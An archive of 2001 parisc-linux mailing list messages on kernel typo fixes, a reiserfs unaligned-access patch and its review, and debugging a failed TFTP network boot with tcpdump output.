Original-Received: (qmail 23283 invoked by uid 666); 2 Sep 2001 15:18:32 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.188.183)
  by iinet.net.au with SMTP; 2 Sep 2001 15:18:32 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id XAA15285
	for parisc-linux@lists.parisc-linux.org; Sun, 2 Sep 2001 23:18:32 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <KHEOKDLGAPDONGNKGOKFCEIHCAAA.jha@xs4all.nl>; from jha@xs4all.nl on Sun, Sep 02, 2001 at 04:14:33PM +0200
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:12059

Quoth John Hagreis:
> Hi there,
> 
> Is there a tool I can use to install my systems in my cluster all at once ??
> Someone ??
> 

FAI (Fully Automatic Installation) could be right for you.  It was
written for just this purpose.

  http://www.informatik.uni-koeln.de/fai/

It's available in packaged form with Debian.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSU -> SCSI typo fix
Date: Sun, 2 Sep 2001 16:23:06 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20010902162306.A9599@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620441 24817 80.91.229.3 (22 Nov 2014 01:40:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 09:23:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4346482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 09:23:28 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id RAA23405
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Sep 2001 17:23:27 +0200 (CEST)
Original-Received: (qmail 15153 invoked from network); 2 Sep 2001 14:23:10 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 2 Sep 2001 14:23:10 -0000
Original-Received: (qmail 10300 invoked by uid 500); 2 Sep 2001 14:23:06 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12060

very small part of my bootup-messages:

5. Raven+ w SE FWSCSI Core Centronics
6. Raven+ w SE FWSCSU Core Audio
7. Raven+ w SE FWSCSI Core PS/2 Port

SCSU?

--- arch/parisc/kernel/hardware.c       Fri Aug 31 12:02:30 2001
+++ arch/parisc/kernel/hardware-new.c   Sun Sep  2 16:18:09 2001
@@ -810,8 +810,8 @@
        {HPHW_FIO, 0x04E, 0x0007B, 0x0, "Kiji L2 132 Core Audio"},
        {HPHW_FIO, 0x050, 0x0007B, 0x0, "Merlin Jr 132 Core Audio"},
        {HPHW_FIO, 0x051, 0x0007B, 0x0, "Firehawk Audio"},
-       {HPHW_FIO, 0x056, 0x0007B, 0x0, "Raven+ w SE FWSCSU Core Audio"},
-       {HPHW_FIO, 0x057, 0x0007B, 0x0, "Raven+ w Diff FWSCSU Core Audio"},
+       {HPHW_FIO, 0x056, 0x0007B, 0x0, "Raven+ w SE FWSCSI Core Audio"},
+       {HPHW_FIO, 0x057, 0x0007B, 0x0, "Raven+ w Diff FWSCSI Core Audio"},
        {HPHW_FIO, 0x058, 0x0007B, 0x0, "FireHawk 200 Audio"},
        {HPHW_FIO, 0x05C, 0x0007B, 0x0, "SummitHawk 230 Core Audio"},
        {HPHW_FIO, 0x800, 0x0007B, 0x0, "Hitachi Tiny 64 Audio"},

Would it be nice to add help-texts to all the different parisc options
that currently have none? I'm trying some contructive messages for a
change :-)

Jurriaan
-- 
Never before have I encountered such corrupt and foul-minded
perversity!   Have you ever considered a career in the Church?
        Black Adder II
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.26 0.26 0.27




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Andreas_H=E4rtel?= <andreas@malcolm.in-chemnitz.de>
Newsgroups: gmane.linux.ports.parisc
Subject: AW: [parisc-linux] HP712/60 Hang when booting over the network
Date: Sun, 2 Sep 2001 18:07:59 +0200
Lines: 93
Approved: news@gmane.org
Message-ID: <000001c133c9$7032e030$0350a8c0@genesis>
References: <20010901162725.L5126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620442 24818 80.91.229.3 (22 Nov 2014 01:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:42 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 10:09:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from easy.in-chemnitz.de (www.in-chemnitz.de [213.187.65.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id 882DE482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 10:09:09 -0600 (MDT)
Original-Received: (from uucp@localhost)
	by easy.in-chemnitz.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with UUCP id f82G94T06150;
	Sun, 2 Sep 2001 18:09:04 +0200
Original-Received: from genesis (genesis [192.168.80.3]) by malcolm.in-chemnitz.de (8.7.6/8.7.3) with SMTP id SAA00731; Sun, 2 Sep 2001 18:05:27 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <20010901162725.L5126@parcelfarce.linux.theplanet.co.uk>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:12061

Hallp Matthew,

> Kernel: partition 0 file /vmlinux
> Ramdisk: partition 0 file /ramdisk
> Warning: kernel name doesn't end with 32 or 64... Guessing Annoyance:
> Firmware
> does not support PDV_MODEL_CAPABILITIES cell
> 32
>
> ERROR: Read from boot device failed (status = -3).
> byteio_read: seekread() returned -1 expected 2048
>
> ERROR: Read from boot device failed (status = -3).
> byteio_read: seekread() returned -1 expected 2048
> Couldn't grok your kernel executable format
> failed to load kernel
>
> ---snip---

That's very strange.  Can you tcpdump to see what packets are going
across the wire?  It almost looks as if your tftpd died halfway through
the transfer.

I've tried tcpdump, but I can not see any error or the reason for the
problem. Which
filter option must be set on tcpdump? Unfortunately, I have only few
practice with this.

./usr/local/sbin/tcpdump -vv -x -l -i eth0 ip host woody | tee
/home/andreas/dat


Here is the start and end of protocol:

17:50:52.165918 malcolm.bootps > woody.bootpc: xid:0x4137a2a6 Y:woody
S:malcolm [|bootp] (ttl 64, id 36751)
                         4500 0148 8f8f 0000 4011 c8bd c0a8 5001
                         c0a8 5006 0043 0044 0134 5fdb 0201 0600
                         4137 a2a6 0000 0000 0000 0000 c0a8 5006
                         c0a8 5001 0000
17:50:52.505918 woody.8252 > malcolm.tftp: 516 RRQ "/mnt/lifimage" [tos
0x10] (ttl 32, id 16702)
                         4510 0220 413e 0000 2011 3627 c0a8 5006
                         c0a8 5001 203c 0045 020c 1fff 0001 2f6d
                         6e74 2f6c 6966 696d 6167 6500 6f63 7465
                         7400 0000 0000
17:50:52.785918 malcolm.1105 > woody.8252: udp 516 (ttl 64, id 36758)
                         4500 0220 8f96 0000 4011 c7de c0a8 5001
                         c0a8 5006 0451 203c 020c ba1f 0003 0001
                         8000 5041 4c4f 0003 0154 c000 002b 8ad4
                         01b7 0800 001e
17:50:52.785918 woody.8252 > malcolm.1105: udp 4 [tos 0x10] (ttl 32, id
26570)
                         4510 0020 67ca 0000 2011 119b c0a8 5006
                         c0a8 5001 203c 0451 000c b9eb 0004 0001
                         c0a8 5006 202d 4120 2455 5543 505f
17:50:52.815918 malcolm.1105 > woody.8252: udp 516 (ttl 64, id 36760)
                         4500 0220 8f98 0000 4011 c7dc c0a8 5001

.....
.....

17:53:41.625918 woody.47989 > malcolm.1106: udp 4 [tos 0x10] (ttl 32, id
13135)
                         4510 0020 334f 0000 2011 4616 c0a8 5006
                         c0a8 5001 bb75 0452 000c 9eb1 0004 8000
                         c0a8 5006 6053 3f98 2922 b783 d859
17:53:46.625918 malcolm.1106 > woody.47989: udp 516 (ttl 64, id 14281)
                         4500 0220 37c9 0000 4011 1fac c0a8 5001
                         c0a8 5006 0452 bb75 020c 9157 0003 8000
                         01d2 1587 f93e 1ad8 e34a 5b08 abb1 dc02
                         5008 25a4 236a
17:53:46.625918 woody.47989 > malcolm.1106: udp 4 [tos 0x10] (ttl 32, id
1184)
                         4510 0020 04a0 0000 2011 74c5 c0a8 5006
                         c0a8 5001 bb75 0452 000c 9eb1 0004 8000
                         c0a8 5006 6053 3f98 2922 b783 d859
17:53:51.625918 malcolm.1106 > woody.47989: udp 516 (ttl 64, id 14285)
                         4500 0220 37cd 0000 4011 1fa8 c0a8 5001
                         c0a8 5006 0452 bb75 020c 9157 0003 8000
                         01d2 1587 f93e 1ad8 e34a 5b08 abb1 dc02
                         5008 25a4 236a
17:53:51.625918 woody.47989 > malcolm.1106: udp 4 [tos 0x10] (ttl 32, id
52956)
                         4510 0020 cedc 0000 2011 aa88 c0a8 5006
                         c0a8 5001 bb75 0452 000c 9eb1 0004 8000
                         c0a8 5006 6053 3f98 2922 b783 d859

Andreas





From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What's a "Trace/breakpoint trap" and why does he crash my system?
Date: Sun, 2 Sep 2001 19:39:55 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20010902193955.A20014@middle.of.nowhere>
References: <20010901155006.A4594@middle.of.nowhere> <20010901203232.A5963@middle.of.nowhere> <20010901201455.M5126@parcelfarce.linux.theplanet.co.uk>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620442 24820 80.91.229.3 (22 Nov 2014 01:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 11:53:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98F43482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 11:53:31 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id TAA15548
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Sep 2001 19:53:30 +0200 (CEST)
Original-Received: (qmail 2033 invoked from network); 2 Sep 2001 17:39:57 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 2 Sep 2001 17:39:57 -0000
Original-Received: (qmail 20472 invoked by uid 500); 2 Sep 2001 17:39:55 -0000
Content-Disposition: inline
In-Reply-To: <20010901201455.M5126@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12062

On Sat, Sep 01, 2001 at 08:14:55PM +0100, Matthew Wilcox wrote:
> On Sat, Sep 01, 2001 at 08:32:32PM +0200, thunder7@xs4all.nl wrote:
> > should be 'Trace/breakpoint trap'
> 
> hmm.. what version of glibc do you have installed?  something else you
> can do is run strace -ff which will attempt to follow fork/clone/vfork.
> 
As answered before, 2.2.3-9.

Since this seems to happen with 2.4.9-pa13 and not with 2.4.0 from the
0.9.2 ISO, perhaps I ought to do some checking when exactly it broke.

Can anybody point me to a quick cvs reference, starting with

cd [somewhere]
tar zxvf linux-latest.tar.gz

and then? I'm only interested in extracting certain
kernel-versions (by date?).

Thanks,
Jurriaan
-- 
proof by cumbersome notation:
	Best done with access to at least four alphabets and special
	symbols.
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 1.34 0.71 0.31




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [SOLVED + PATCH]: documented Oops running big-endian reiserfs on parisc architecture
Date: Sun, 2 Sep 2001 19:57:17 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20010902195717.A21209@middle.of.nowhere>
References: <20010902105538.A15344@middle.of.nowhere> <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620442 24822 80.91.229.3 (22 Nov 2014 01:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:42 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 11:57:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E4DC482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 11:57:30 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id TAA27983
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Sep 2001 19:57:28 +0200 (CEST)
Original-Received: (qmail 4257 invoked from network); 2 Sep 2001 17:57:20 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 2 Sep 2001 17:57:20 -0000
Original-Received: (qmail 23290 invoked by uid 500); 2 Sep 2001 17:57:17 -0000
Content-Disposition: inline
In-Reply-To: <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12063

On Sun, Sep 02, 2001 at 03:00:23PM +0100, Matthew Wilcox wrote:
> On Sun, Sep 02, 2001 at 10:55:38AM +0200, thunder7@xs4all.nl wrote:
> > ReiserFS version 3.6.25
> > bonnie[163]: Unaligned data reference 28
> 
> > which makes the error somewhere around here in 
> > fs/reiserfs/namei.c, function reiserfs_add_entry, after call to
> > padd_item, before call to reiserfs_find_entry:
> > 
> >     padd_item ((char *)(deh + 1), ROUND_UP (namelen), namelen);
> > 
> >     /* entry is ready to be pasted into tree, set 'visibility' and 'stat data in entry' attributes */
> >     mark_de_without_sd (deh);
> >     visible ? mark_de_visible (deh) : mark_de_hidden (deh);
> > 
> >     /* find the proper place for the new entry */
> >     memset (bit_string, 0, sizeof (bit_string));
> >     de.de_gen_number_bit_string = (char *)bit_string;
> >     retval = reiserfs_find_entry (dir, name, namelen, &path, &de);
> 
> I suspect mark_de_without_sd is an inlined function/macro and this will
> be where the unaligned data reference is happening.
> 
Correct. And the comments just above there about alignment are very
enlightening; it seems that the IBM/S390 architecture has some special
needs, and I just tested that my PA-RISC kernel has the same needs.
Thus I am able to present a real bugfix.

This patch allows me to run bonnie on a reiserfs partition with pa-risc
linux.

--- linux/include/linux/reiserfs_fs.h   Sun Sep  2 21:54:25 2001
+++ linux-new/include/linux/reiserfs_fs.h       Sun Sep  2 20:47:27 2001
@@ -924,7 +924,7 @@
 #define DEH_Visible 2

 /* 64 bit systems (and the S/390) need to be aligned explicitly -jdm */
-#if BITS_PER_LONG == 64 || defined(__s390__)
+#if BITS_PER_LONG == 64 || defined(__s390__) || defined(__hppa__)
 #   define ADDR_UNALIGNED_BITS  (3)
 #endif

This applies to linux-2.4.9-pa13 with
endian-safe-reiserfs-for-2.4.8.patch and to 2.4.9-ac5.

Please apply,
Jurriaan
-- 
It is well to remember, my son, that the entire population of the
universe, with one trifling exception, is composed of others.
        John Andrew Holmes
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.98 0.83 0.37




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Delaying the device inventory detection time
Date: Sun, 2 Sep 2001 20:05:32 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010902200532.W5126@parcelfarce.linux.theplanet.co.uk>
References: <200109020616.AAA07559@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620443 24824 80.91.229.3 (22 Nov 2014 01:40:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 13:05:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3654482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 13:05:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dcYm-0007bg-00; Sun, 02 Sep 2001 20:05:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109020616.AAA07559@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Sun, Sep 02, 2001 at 12:16:39AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12064

On Sun, Sep 02, 2001 at 12:16:39AM -0600, John Marvin wrote:
> Why isn't alloc_bootmem or alloc_bootmem_pages good enough? I already
> restructured the boot sequence a while back to allow for that.

I don't see the need to use bootmem for this.  We can manage just fine
without the devices until after kmalloc starts up.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Zidlicky <Richard.Zidlicky@stud.informatik.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [SOLVED + PATCH]: documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 00:34:37 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20010903003437.A385@linux-m68k.org>
References: <20010902105538.A15344@middle.of.nowhere> <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk> <20010902195717.A21209@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620443 24828 80.91.229.3 (22 Nov 2014 01:40:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 16:39:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from faui02.informatik.uni-erlangen.de (faui02.informatik.uni-erlangen.de [131.188.30.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77365482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 16:38:59 -0600 (MDT)
Original-Received: from rz.de (root@faui02b.informatik.uni-erlangen.de [131.188.30.151])
	by faui02.informatik.uni-erlangen.de (8.9.1/8.1.16-FAU) with ESMTP id AAA21580; Mon, 3 Sep 2001 00:38:50 +0200 (MEST)
Original-Received: (from rz@localhost)
	by rz.de (8.8.8/8.8.8) id AAA00713;
	Mon, 3 Sep 2001 00:34:38 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010902195717.A21209@middle.of.nowhere>; from thunder7@xs4all.nl on Sun, Sep 02, 2001 at 07:57:17PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12065

On Sun, Sep 02, 2001 at 07:57:17PM +0200, thunder7@xs4all.nl wrote:
> 
> --- linux/include/linux/reiserfs_fs.h   Sun Sep  2 21:54:25 2001
> +++ linux-new/include/linux/reiserfs_fs.h       Sun Sep  2 20:47:27 2001
> @@ -924,7 +924,7 @@
>  #define DEH_Visible 2
> 
>  /* 64 bit systems (and the S/390) need to be aligned explicitly -jdm */
> -#if BITS_PER_LONG == 64 || defined(__s390__)
> +#if BITS_PER_LONG == 64 || defined(__s390__) || defined(__hppa__)
>  #   define ADDR_UNALIGNED_BITS  (3)
>  #endif

couldn't reiserfs use asm/unaligned.h like anyone else?
Seems at least sparc and mips may need the same treatment.

Bye
Richard




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on
 parisc architecture
Date: Sun, 02 Sep 2001 16:04:41 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20010902.160441.92583890.davem@redhat.com>
References: <20010902105538.A15344@middle.of.nowhere>
	<20010902150023.U5126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620443 24829 80.91.229.3 (22 Nov 2014 01:40:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:43 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 17:04:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1F34482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 17:04:50 -0600 (MDT)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA14502;
	Sun, 2 Sep 2001 16:04:42 -0700
In-Reply-To: <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Xref: news.gmane.org gmane.linux.ports.parisc:12066

   From: Matthew Wilcox <willy@debian.org>
   Date: Sun, 2 Sep 2001 15:00:23 +0100

   On Sun, Sep 02, 2001 at 10:55:38AM +0200, thunder7@xs4all.nl wrote:
   > ReiserFS version 3.6.25
   > bonnie[163]: Unaligned data reference 28
   
   As it says, an unaligned data reference.
   
BTW, you should not be OOPSing on this as unaligned references are
defined as completely normal, especially in the networking.

Is it impossible to handle unaligned access traps properly on
parisc?  If so, well you have some problems...

Later,
David S. Miller
davem@redhat.com




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [SOLVED + PATCH]: documented Oops running big-endian reiserfs
 on parisc architecture
Date: Sun, 02 Sep 2001 16:08:59 -0700 (PDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <20010902.160859.104033892.davem@redhat.com>
References: <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk>
	<20010902195717.A21209@middle.of.nowhere>
	<20010903003437.A385@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620443 24832 80.91.229.3 (22 Nov 2014 01:40:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:43 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: Richard.Zidlicky@stud.informatik.uni-erlangen.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 17:10:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77031482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 17:10:08 -0600 (MDT)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA14522;
	Sun, 2 Sep 2001 16:09:00 -0700
In-Reply-To: <20010903003437.A385@linux-m68k.org>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Xref: news.gmane.org gmane.linux.ports.parisc:12067

   From: Richard Zidlicky <Richard.Zidlicky@stud.informatik.uni-erlangen.de>
   Date: Mon, 3 Sep 2001 00:34:37 +0200

   On Sun, Sep 02, 2001 at 07:57:17PM +0200, thunder7@xs4all.nl wrote:
   >  /* 64 bit systems (and the S/390) need to be aligned explicitly -jdm */
   > -#if BITS_PER_LONG == 64 || defined(__s390__)
   > +#if BITS_PER_LONG == 64 || defined(__s390__) || defined(__hppa__)
   >  #   define ADDR_UNALIGNED_BITS  (3)
   >  #endif
   
   couldn't reiserfs use asm/unaligned.h like anyone else?
   Seems at least sparc and mips may need the same treatment.

Sparc will act correctly for unaliagned accesses.

It will trap and run very slowly, but it wont' OOPS and
it will give correct results.

This is actually required behavior, I don't know why parisc
is acting differently.

Later,
David S. Miller
davem@redhat.com




From - Thu Nov 08 21:19:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 00:25:14 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk>
References: <20010902105538.A15344@middle.of.nowhere> <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk> <20010902.160441.92583890.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620444 24834 80.91.229.3 (22 Nov 2014 01:40:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:44 +0000 (UTC)
Cc: willy@debian.org, thunder7@xs4all.nl,
	parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
